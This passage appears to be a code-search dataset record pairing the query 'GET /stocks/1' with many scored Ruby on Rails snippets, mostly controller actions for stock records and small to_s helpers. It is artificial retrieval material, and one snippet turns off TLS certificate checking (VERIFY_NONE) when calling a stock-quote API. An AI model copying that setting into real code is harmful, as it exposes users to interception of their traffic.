"0.5122757", "text": "def info_to_s ; data[7].to_a.map{ |i| i.join(\"=\") }.join(\";\") ; end", "title": "" }, { "docid": "e79fcdbc83a33df4ca4a28ee96aa8b43", "score": "0.51224047", "text": "def to_plist_node\n hash = { :x => x, :y => y, :z => z, :age => age, :frequency => frequency }\n Plist::Emit.dump(hash, false)\n end", "title": "" }, { "docid": "35f748edebf491d6d59ac917e0b566f5", "score": "0.51215005", "text": "def write_p(p)\n File.open($p, \"w\") { |pf| pf.puts p.map(&:to_s).join(\"\\n\") }\nend", "title": "" }, { "docid": "438328f4f4e618a9f15553803396393e", "score": "0.5101934", "text": "def principal_list(array)\n array_to_string(array)\n end", "title": "" }, { "docid": "9a31ee968472babd15c7ec3cb7cda524", "score": "0.50894105", "text": "def to_s\n read unless arrays\n arrays.map(&:join).join(\"\\n\")\n end", "title": "" }, { "docid": "1bf72f7a9f31d51001173d5e5b0f8e69", "score": "0.5082347", "text": "def to_s\r\n paragraphs.map(&:to_s).join(\"\\n\")\r\n end", "title": "" }, { "docid": "389059ddd523cc1724a7469861f768a1", "score": "0.5080957", "text": "def to_s\n str = \"| \"\n current_item = @first_item\n until current_item.nil?\n str << current_item.payload\n punctuation = current_item.last? ? \" \" : \", \"\n str << punctuation\n current_item = current_item.next_item\n end\n str << \"|\"\n str\n end", "title": "" }, { "docid": "7bd289255f256324a6d9915ecf1f4eb8", "score": "0.5080917", "text": "def to_s_at_node(root_node)\n\t\tif root_node.nil?\n\t\t\treturn \"{}\"\n\t\tend\n\t\treturn to_s_at_node(root_node.left).to_s + \", {\" + root_node.key.to_s + \"=>\" + root_node.value.to_s + \" }, \" + to_s_at_node(root_node.right).to_s\n\tend", "title": "" }, { "docid": "76a2b86f3d8356b646a8ec5f2659cc2f", "score": "0.50801283", "text": "def stringify(list)\n \n list.each do |item, qty|\n puts item + \" ==> \" + qty.to_s\n end\nend", "title": "" }, { "docid": "efd589dd930ba09a0ac960c1673f7ee0", "score": "0.50777256", "text": "def to_s\n\t\t\treturn \"%s %s\" % [ self.uri, self.prefLabel ]\n\t\tend", "title": "" }, { "docid": "520577f249840cb29a06ee914452ab93", "score": "0.50777227", "text": "def to_s\n str = \"| \"\n current_item = @first_item\n until current_item.nil?\n str << current_item.payload\n punctuation = current_item.last? ? \" \" : \", \"\n str << punctuation\n current_item = current_item.next_item\n end\n str << \"|\"\n str\n end", "title": "" }, { "docid": "ae6d8761409d48fd5085cc354e249b9f", "score": "0.5071824", "text": "def to_s\n \"#{@label} #{prefs_to_s}\"\n end", "title": "" }, { "docid": "c0a1549a8dc91356bf2a2690f10e14f1", "score": "0.50671667", "text": "def to_s\n to_a.map do |allomorph|\n allomorph.transcription\n end.sort.join(\"/\")\n end", "title": "" } ]
c0ac95fa657af18328719816422a4d37
GET /stocks/1 GET /stocks/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
[ { "docid": "101460710b669b67f96b513d093ffd0c", "score": "0.813285", "text": "def show\n @stock = Stock.find(params[:id])\n\n render json: @stock\n end", "title": "" }, { "docid": "0c3b49e80a15388e4b39723baa4e0c32", "score": "0.7827617", "text": "def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end", "title": "" }, { "docid": "0c3b49e80a15388e4b39723baa4e0c32", "score": "0.7827617", "text": "def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end", "title": "" }, { "docid": "0c3b49e80a15388e4b39723baa4e0c32", "score": "0.7827617", "text": "def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end", "title": "" }, { "docid": "0c3b49e80a15388e4b39723baa4e0c32", "score": "0.7827617", "text": "def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end", "title": "" }, { "docid": "fb8ef170ca6d7cf7b8232fc76bb1a2b1", "score": "0.76127833", "text": "def index\n @product = Product.find(params[:product_id])\n @product_stocks = @product.product_stocks\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @product_stocks }\n end\n end", "title": "" }, { "docid": "fe580359b31b5eb0037156b86f328206", "score": "0.7513371", "text": "def show\n @sp500_stock = Sp500Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sp500_stock }\n end\n end", "title": "" }, { "docid": "77ef81f995f8dca00cd73ec582606155", "score": "0.7456414", "text": "def show\n @total_stock = TotalStock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @total_stock }\n end\n end", "title": "" }, { "docid": "3a794f00c11bb0e2b2f619b7ef3c661d", "score": "0.7420787", "text": "def show\n @stocklist = Stocklist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stocklist }\n end\n end", "title": "" }, { "docid": "665db0c710d09dcc76f9e11a63d3dd06", "score": "0.7385634", "text": "def index\n @stock_prices = StockPrice.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stock_prices }\n end\n end", "title": "" }, { "docid": "6d5433a2486045d988ac7d22b39863fc", "score": "0.7380303", "text": "def show\n @product_stock = ProductStock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_stock }\n end\n end", "title": "" }, { "docid": "c5d6e4e3fe902f276056153f991d5782", "score": "0.733541", "text": "def show\n @product_stock = ProductStock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product_stock }\n end\n end", "title": "" }, { "docid": "ed5d033e4ee427ef5ae427eae28a703a", "score": "0.7296758", "text": "def show\n @stock_resource = StockResource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_resource }\n end\n end", "title": "" }, { "docid": "78af7e6b0368446f330c896a5d04901b", "score": "0.7272539", "text": "def show\n @stock_price = StockPrice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_price }\n end\n end", "title": "" }, { "docid": "ffd5b2073275064a770e9753cc0f154f", "score": "0.71380734", "text": "def show\n @stock = Stock.find(params[:id])\n @quote = YahooFinance::get_standard_quotes(@stock.ticker)[@stock.ticker]\n @tweets = Twitter.search('$' + @stock.ticker).results\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end", "title": "" }, { "docid": "98da65f45ecb1dad540b9a4b4b2cddd3", "score": "0.71366733", "text": "def show\n @stock_type = StockType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_type }\n end\n end", "title": "" }, { "docid": "ee794e65e03b18b626e77cd5c8813dfd", "score": "0.7114768", "text": "def index\n @stocks = Stock.all\n end", "title": "" }, { "docid": "ee794e65e03b18b626e77cd5c8813dfd", "score": "0.7114768", "text": "def index\n @stocks = Stock.all\n end", "title": "" }, { "docid": "ee794e65e03b18b626e77cd5c8813dfd", "score": "0.7114768", "text": "def index\n @stocks = Stock.all\n end", "title": "" }, { "docid": "ee794e65e03b18b626e77cd5c8813dfd", "score": "0.7114768", "text": "def index\n @stocks = Stock.all\n end", "title": "" }, { "docid": "114e56dce224e1b7e6a1e09023ba65ba", "score": "0.7103809", "text": "def show\n @stock_entry = StockEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_entry }\n end\n end", "title": "" }, { "docid": "b1ad250d6974dfdbfd9ce8fc319fc80e", "score": "0.7099664", "text": "def show\n @incomestock = Incomestock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @incomestock }\n end\n end", "title": "" }, { "docid": "d02fd33196394023e67a19b5c603c8e6", "score": "0.7094001", "text": "def index\n @stock_results = StockResult.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stock_results }\n end\n end", "title": "" }, { "docid": "23f69351191826089375972493dd3e6c", "score": "0.7029526", "text": "def show\n @stock_transaction = StockTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_transaction }\n end\n end", "title": "" }, { "docid": "f2e16ecb7751866ea99b1db947740ba7", "score": "0.69546187", "text": "def index\n headers['Last-Modified'] = Time.now.httpdate\n session_id = nil\n\n if !params[:symbols].nil?\n syms = params[:symbols].split(\",\")\n @stocks = params[:latest] ? [] : Stock.where(symbol: syms)\n\n login_response = AmeritradeHelper.login(params)\n puts \"*** login response #{login_response}\"\n unless login_response.nil?\n session_id = login_response[:session_id]\n login_date = login_response[:login_date]\n end\n\n if !session_id.nil?\n syms.each do |sym|\n new_stocks = AmeritradeHelper.get_stock_symbol(sym, !params[:historic].nil?, params, session)\n @stocks = @stocks + new_stocks unless new_stocks.nil? || !new_stocks.length\n end\n else\n puts \"*** session id is nil\"\n end\n\n else\n @stocks = Stock.all\n end\n\n response = {\n :meta => {\n :session_id => session_id,\n :login_date => login_date\n },\n :data => {\n # :stocks => @stocks.sort_by &:date\n # :stocks => @stocks.order(:date)\n :stocks => @stocks\n }\n }\n\n respond_to do |format|\n format.html\n format.json { render json: response }\n end\n end", "title": "" }, { "docid": "91caa6f84cc5d10a9901a50c2a648181", "score": "0.69327974", "text": "def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end", "title": "" }, { "docid": "91caa6f84cc5d10a9901a50c2a648181", "score": "0.69327974", "text": "def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end", "title": "" }, { "docid": "91caa6f84cc5d10a9901a50c2a648181", "score": "0.69327974", "text": "def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end", "title": "" }, { "docid": "91caa6f84cc5d10a9901a50c2a648181", "score": "0.69327974", "text": "def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end", "title": "" }, { "docid": "91caa6f84cc5d10a9901a50c2a648181", "score": "0.69327974", "text": "def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end", "title": "" }, { "docid": "91caa6f84cc5d10a9901a50c2a648181", "score": "0.69327974", "text": "def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end", "title": "" }, { "docid": "4f44c947d6587dba1592d80f21801a52", "score": "0.6906097", "text": "def userStocks\n render :json => StockPresenter.new.getStocks(current_user.id)\n end", "title": "" }, { "docid": "ab822259c3a3f6d2d41effc5d7424738", "score": "0.6900949", "text": "def show\n @feedstock = Feedstock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedstock }\n end\n end", "title": "" }, { "docid": "20298e73b003931d142444065a9d9638", "score": "0.6899431", "text": "def show\n if Stock.check_valid(params[:symbol])\n if Stock.not_exists?(params[:symbol])\n create\n end\n $stock = Stock.find(params[:symbol])\n # Gather and check chart data\n @input = Stock.get_overview(params)\n if @input === 404\n not_found\n else\n @data = YahooFinance.quotes([params[:symbol]], [:name, :last_trade_price, :ask, :bid, :open, :close, :volume, :market_capitalization, :dividend_yield, :dividend_per_share, :change, :change_in_percent, :last_trade_date, :stock_exchange])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: $stock }\n end\n end\n else\n not_found\n end\n end", "title": "" }, { "docid": "6f3bf1d64a65acbf2e73eb2c2545602f", "score": "0.68644816", "text": "def show\n @stock_transfer = StockTransfer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_transfer }\n end\n end", "title": "" }, { "docid": "a9f7b90be1cf530765dcceef4a912009", "score": "0.6838442", "text": "def getStocksByUser\n @stocks = current_user.stocks\n\n respond_to do |format|\n format.html { render :partial => \"stocks\"}\n format.json { render json: @stocks }\n end\n end", "title": "" }, { "docid": "89f94ab15220eed247a4c4dfbc4aa21b", "score": "0.682055", "text": "def index\n @asset_stocks = AssetStock.all\n end", "title": "" }, { "docid": "a54b905fb3a8138ad429bb19c4a1aa7d", "score": "0.6816148", "text": "def index\n session[:product] = params[:product] if params[:product]\n @stocks = Stock.product session[:product]\n default_data\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stocks }\n end\n end", "title": "" }, { "docid": "a563446eb4b419758f80dbbabb76e563", "score": "0.6813395", "text": "def call_api\n url = \"#{@base_uri}/stock\"\n params = {symbol: @symbol, api_token: @api_key}\n\n if @exchange\n params[:stock_exchange] = @exchange\n end\n\n Lita.logger.debug \"call_api: #{url} #{params.inspect}\"\n\n @response = RestClient.get url, {params: params}\n\n Lita.logger.debug \"response: #{@response}\"\n end", "title": "" }, { "docid": "17e966f849a59ed87dc8b1c6f8a12658", "score": "0.6777802", "text": "def new\n @sp500_stock = Sp500Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sp500_stock }\n end\n end", "title": "" }, { "docid": "cf9af71a9a64892c48c0649c70ca74db", "score": "0.67666525", "text": "def show\n @goods_stock = GoodsStock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goods_stock }\n format.js\n end\n end", "title": "" }, { "docid": "b50c55866a31d7419d7e8bd8bd8351fb", "score": "0.67480856", "text": "def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stock }\n end\n end", "title": "" }, { "docid": "73e1472c42709255dd2faf3fdf31ca48", "score": "0.6703735", "text": "def stocks\n\n end", "title": "" }, { "docid": "5efa9c7b6ec9310c57bce94575ba996b", "score": "0.67013395", "text": "def show\n @stock = Stock.find(params[:id])\n default_data\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stock }\n end\n end", "title": "" }, { "docid": "d707e459ea5240fc09b9a39ff3be1322", "score": "0.6693298", "text": "def calculate_stocks\n stocks = stocks_owned\n .map { |stock| {ticker: stock[0], shares: stock[1]} }\n .sort_by { |stock| stock[:ticker] }\n\n # url = \"https://cloud.iexapis.com/stable/stock/market/batch?types=quote,chart&range=1d&token=#pk_2d262b4b89114ceda9b7ada2d9e99bb9&symbols=\"\n # stocks.each { |stock| url += \"#{stock[:ticker]},\"}\n # response = JSON.parse(open(url).read)\n\n stocks.each_with_index do |stock, idx| \n response = JSON.parse(open(\"https://cloud.iexapis.com/stable/stock/market/batch?types=quote,chart&range=1d&token=pk_2d262b4b89114ceda9b7ada2d9e99bb9&symbols=#{stock[:ticker]}\").read)\n\n \n stock[:price] = response[stock[:ticker]]['quote']['latestPrice']\n stock[:intraday] = response[stock[:ticker]]['chart']\n end\n\n stocks\n end", "title": "" }, { "docid": "c2083db59e7e0a7a3080594917f2c554", "score": "0.66851246", "text": "def index\n @quantities = Quantity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @quantities }\n end\n end", "title": "" }, { "docid": "ffd0e88ce0e031877f0260d750b1896f", "score": "0.6677125", "text": "def get_stocks\n @stocks = Stock.where(user_id: session[:current_user_id]).order(\"ticker_symbol ASC\")\n end", "title": "" }, { "docid": "bc52c79e72792257f8f3318b367e26c8", "score": "0.66548234", "text": "def si_current_stock\n product = params[:product]\n store = params[:store]\n current_stock = 0\n if product != '0' && store != '0'\n current_stock = Stock.find_by_product_and_store(product, store).current rescue 0\n end\n # Format numbers\n current_stock = number_with_precision(current_stock.round(4), precision: 4)\n # Setup JSON\n @json_data = { \"stock\" => current_stock.to_s }\n render json: @json_data\n end", "title": "" }, { "docid": "ecff3e82ff446695d56ebbf93d2a23cf", "score": "0.6620235", "text": "def index_old\n @stocks = Stock.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stocks }\n end\n end", "title": "" }, { "docid": "ec1a1679b2bdfe39d540ddcaab54e054", "score": "0.6615987", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "46ef3d83b24523301f6f596c5c8bb8c0", "score": "0.660834", "text": "def new\n @stocklist = Stocklist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stocklist }\n end\n end", "title": "" }, { "docid": "0ea1dd22ec6a3ee8d8459ab65f6765b2", "score": "0.6601953", "text": "def get_stock(stock_ticker)\n stock = StockQuote::Stock.quote(stock_ticker)\n return stock\nend", "title": "" }, { "docid": "18c1630939654070b4e5fa15c5fc6e61", "score": "0.659266", "text": "def stocks(refresh = false)\n @stocks = nil if refresh\n @stocks ||= begin\n @client.get(\"venues/#{@venue_symbol}/stocks\")['symbols'] rescue nil\n end\n end", "title": "" }, { "docid": "7c971836c7a888d454fb3d242381dd2d", "score": "0.65711594", "text": "def index\n if params[\"type\"] == \"NSE\"\n @stocks = Stock.where(type: \"NSE\")\n elsif params[\"type\"] == \"BSE\"\n @stocks = Stock.where(type: \"BSE\")\n else\n @stocks = Stock.all\n end\n end", "title": "" }, { "docid": "04204558576e77b3d089a7939162cf2e", "score": "0.6567163", "text": "def show\n @portfolio = Portfolio.find(params[:id])\n\n \n # @stocks = YahooFinance.quotes([@portfolio.stocks.group_by(&:stock_symbol)], [:ask, :bid], { raw: false } )\n # additional resources :\n # https://github.com/herval/yahoo-finance\n # https://github.com/rlazoti/yahoofinance-example/blob/master/view_stocks.rb\n\n @stocks = YahooFinance.quotes(@portfolio.stocks.group_by(&:stock_symbol), [:ask, :bid, :symbol, :last_trade_price], { raw: false } )\n \n\n @stock = Stock.new\n @stock.portfolio_id = @portfolio.id\n end", "title": "" }, { "docid": "eb0b956248de9df3b95df7eae827603b", "score": "0.6566783", "text": "def of_current_stock\n product = params[:product]\n store = params[:store]\n current_stock = 0\n if product != '0' && store != '0'\n current_stock = Stock.find_by_product_and_store(product, store).current rescue 0\n end\n # Format numbers\n current_stock = number_with_precision(current_stock.round(4), precision: 4)\n # Setup JSON\n @json_data = { \"stock\" => current_stock.to_s }\n render json: @json_data\n end", "title": "" }, { "docid": "b1646ea85e208a7baa0a3b536ecc5831", "score": "0.6554335", "text": "def index\n @stocks = Stock.all.paginate(:page => params[:page], :per_page => 15, :total_entries => 1500)\n \n drop_breadcrumb(\"股票\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stocks }\n end\n end", "title": "" }, { "docid": "8c87a996743d53f75c0478460af88c3a", "score": "0.65293545", "text": "def new\n @product_stock = ProductStock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @product_stock }\n end\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "801a22edea0086cfbf7554011d47c2f3", "score": "0.6511391", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "c7c7f14fd01718ca71ddf5247a8c2958", "score": "0.6500379", "text": "def new\n @total_stock = TotalStock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @total_stock }\n end\n end", "title": "" }, { "docid": "e19b27ea16b3a52ab94d93a0f46abbe9", "score": "0.6492909", "text": "def show\n drop_breadcrumb(\"股票\")\n drop_breadcrumb(\"#{@stock.name}(#{@stock.market}:#{@stock.code})\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end", "title": "" }, { "docid": "d6cd6588e5792fa86a6d195d6fec97a6", "score": "0.6485057", "text": "def show\n @stock = Stock.find(params[:id])\n @items = @stock.item\n @stock_audits = @stock.stock_audit\n end", "title": "" }, { "docid": "a38bf56b9751a0a0e9a0b05f2705f511", "score": "0.64839303", "text": "def index\n @packing_quantities = PackingQuantity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @packing_quantities }\n end\n end", "title": "" }, { "docid": "a67d50003c2778ac6da1bfe8f227336a", "score": "0.6478203", "text": "def index\n @stock_prices = StockPrice.all\n end", "title": "" }, { "docid": "3c1ab2399ff3156f4e117206253ccf00", "score": "0.6453839", "text": "def index\n @stock_products = StockProduct.all\n end", "title": "" }, { "docid": "203a7afbc3d7902e4b926d10d98ac768", "score": "0.64431494", "text": "def stockquote(stock)\n url = URI(\"https://apidojo-yahoo-finance-v1.p.rapidapi.com/market/v2/get-quotes?region=US&symbols=#{@stock}\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n \n request = Net::HTTP::Get.new(url)\n request[\"x-rapidapi-key\"] = ENV['X_RAPIDAPI_KEY']\n request[\"x-rapidapi-host\"] = 'apidojo-yahoo-finance-v1.p.rapidapi.com'\n \n response = http.request(request)\n quoteResponse = JSON.parse(response.read_body)['quoteResponse']\n result = quoteResponse['result']\n @zero = result[0]\n puts \"Symbol = #{@zero['symbol']}, Exchange = #{@zero['fullExchangeName']}, Bid = #{@zero['bid']}, Ask = #{@zero['ask']}\"\n\n return \"<div class =col>\n <h2>Symbol=<a>#{@zero['symbol']}</a></h2>\n <h4>Exchange=<a>#{@zero['fullExchangeName']}</a></h4>\n <h4>Bid=<a>#{@zero['bid']}</a></h4>\n <h4>Ask=<a>#{@zero['ask']}</a></h4>\n </div>\"\n end", "title": "" }, { "docid": "bb5b316f3849808cd453107aebda6afb", "score": "0.6436829", "text": "def new\n @stock_price = StockPrice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock_price }\n end\n end", "title": "" }, { "docid": "c74a6c7a1229685b4041e6392b9a1db8", "score": "0.6434838", "text": "def set_stock\n @stock = Stock.find(params[:id])\n end", "title": "" }, { "docid": "6b49f65a028da9f99caac109d837b25a", "score": "0.6428217", "text": "def new\n # @stock_resource = StockResource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock_resource }\n end\n end", "title": "" }, { "docid": "43fb8525a431c0c384fd02854daf801e", "score": "0.6409096", "text": "def consultar_stock(sku = nil)\n begin\n logger.debug(Rails.application.config.oc_api_url)\n sku_code = sku || params.require(:sku)\n stock = 0\n hydra = Typhoeus::Hydra.new\n Store.where('pulmon = ? AND despacho = ? AND recepcion = ?',false,false,false).each do |fabrica|\n request = StoresController.new.request_sku_with_stock(fabrica['_id'])\n request.on_complete do |response|\n value = JSON.parse(response.body).select { |item| item['_id'] == sku_code }.first()\n if !value.nil?\n stock = stock + value['total'];\n end\n end\n hydra.queue(request)\n end\n response = hydra.run\n if sku.nil?\n respond_to do |format|\n format.json { render json: {:stock => stock, :sku => sku_code} }\n format.html { render json: {:stock => stock, :sku => sku_code} }\n end\n else\n return stock\n end\n rescue => ex\n Applog.debug(ex.message,'consultar_stock')\n respond_to do |format|\n format.json { render json: {:status => false} }\n format.html { render json: {:status => false} }\n end\n end\nend", "title": "" }, { "docid": "c32d35d3af68dac0a3fdbf767735bc80", "score": "0.6400613", "text": "def new\n @purchased_stock = PurchasedStock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purchased_stock }\n end\n end", "title": "" }, { "docid": "c32d35d3af68dac0a3fdbf767735bc80", "score": "0.6400613", "text": "def new\n @purchased_stock = PurchasedStock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purchased_stock }\n end\n end", "title": "" }, { "docid": "c76b9da9604d32cb24ba8d302fbc360a", "score": "0.639856", "text": "def show\n @livestock = Livestock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @livestock }\n end\n end", "title": "" }, { "docid": "d9cc461aeed9c0fa0255af28348e1342", "score": "0.63942194", "text": "def index\n @company_inventory_stocks = CompanyInventoryStock.all\n end", "title": "" }, { "docid": "71c542327c53eb394a0ad75080d110a4", "score": "0.6374186", "text": "def index\n headers['Last-Modified'] = Time.now.httpdate\n session_id = nil\n\n if !params[:symbols].nil?\n syms = params[:symbols].split(\",\")\n # @stock_options = StockOption.where(symbol: syms)\n @stock_options = []\n\n login_response = AmeritradeHelper.login(params)\n puts \"*** login response #{login_response}\"\n unless login_response.nil?\n session_id = login_response[:session_id]\n login_date = login_response[:login_date]\n end\n\n if !session_id.nil?\n syms.each do |sym|\n # AmeritradeHelper.delete_stock_options(sym)\n new_stock_options = AmeritradeHelper.get_stock_option_symbol(sym, !params[:historic].nil?, params[:minDaysExp], params[:maxDaysExp])\n @stock_options = @stock_options + new_stock_options unless new_stock_options.nil? || !new_stock_options.length\n end\n else\n puts \"*** session id is nil\"\n end\n\n else\n @stock_options = StockOption.all\n end\n\n response = {\n :meta => {\n :session_id => session_id,\n :login_date => login_date\n },\n :data => {\n :stock_options => @stock_options\n }\n }\n\n respond_to do |format|\n format.html\n format.json { render json: response }\n end\n\n # @stock_options = StockOption.all\n end", "title": "" }, { "docid": "b5d0159b03792155c5ab346f4e73a990", "score": "0.6364741", "text": "def show\n @purchased_stock = PurchasedStock.find(params[:id])\n # update purchased_stock's value_in_stocks\n current_value_in_stocks = 0 \n if (@purchased_stock.total_qty > 0)\n new_value = ((YahooStock::Quote.new(:stock_symbols => [@purchased_stock.stock_code]).results(:to_array).output[0][1].to_f) * 100).to_i\n end\n @purchased_stock.value_in_stocks = new_value * @purchased_stock.total_qty\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchased_stock }\n end\n end", "title": "" }, { "docid": "b5d0159b03792155c5ab346f4e73a990", "score": "0.6364741", "text": "def show\n @purchased_stock = PurchasedStock.find(params[:id])\n # update purchased_stock's value_in_stocks\n current_value_in_stocks = 0 \n if (@purchased_stock.total_qty > 0)\n new_value = ((YahooStock::Quote.new(:stock_symbols => [@purchased_stock.stock_code]).results(:to_array).output[0][1].to_f) * 100).to_i\n end\n @purchased_stock.value_in_stocks = new_value * @purchased_stock.total_qty\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchased_stock }\n end\n end", "title": "" }, { "docid": "9af3f55c94efce132c48655739c7e23c", "score": "0.6357918", "text": "def index\n @sells = Sell.all\n\n render json: @sells\n end", "title": "" }, { "docid": "420a969d587fa87e994421bd52735738", "score": "0.63542867", "text": "def index\n @product_sample_stocks = ProductSampleStock.all\n end", "title": "" }, { "docid": "fe061c01f336395bafaa25db5c2c126f", "score": "0.63492835", "text": "def new\n @stock_entry = StockEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock_entry }\n end\n end", "title": "" }, { "docid": "670e6fc19357108cf7f7d78ac6859387", "score": "0.6345442", "text": "def get_data\n\n begin\n Stock.delete_all(:type => nil)\n require 'net/http'\n source = 'http://fact.herokuapp.com/products.json'\n resp = Net::HTTP.get_response(URI.parse(source))\n data = resp.body\n result = JSON.parse(data)\n\n stocks = result.map do |stock|\n u = Stock.new\n u.brand = stock['name'].to_s\n u.number_of_item = stock['amount'].to_s\n u.fact_type = stock['product_type'].to_s\n\n u.save\n u\n end\n stocks.select(&:persisted?)\n redirect_to stocks_path\n rescue\n redirect_to stocks_path, :notice => 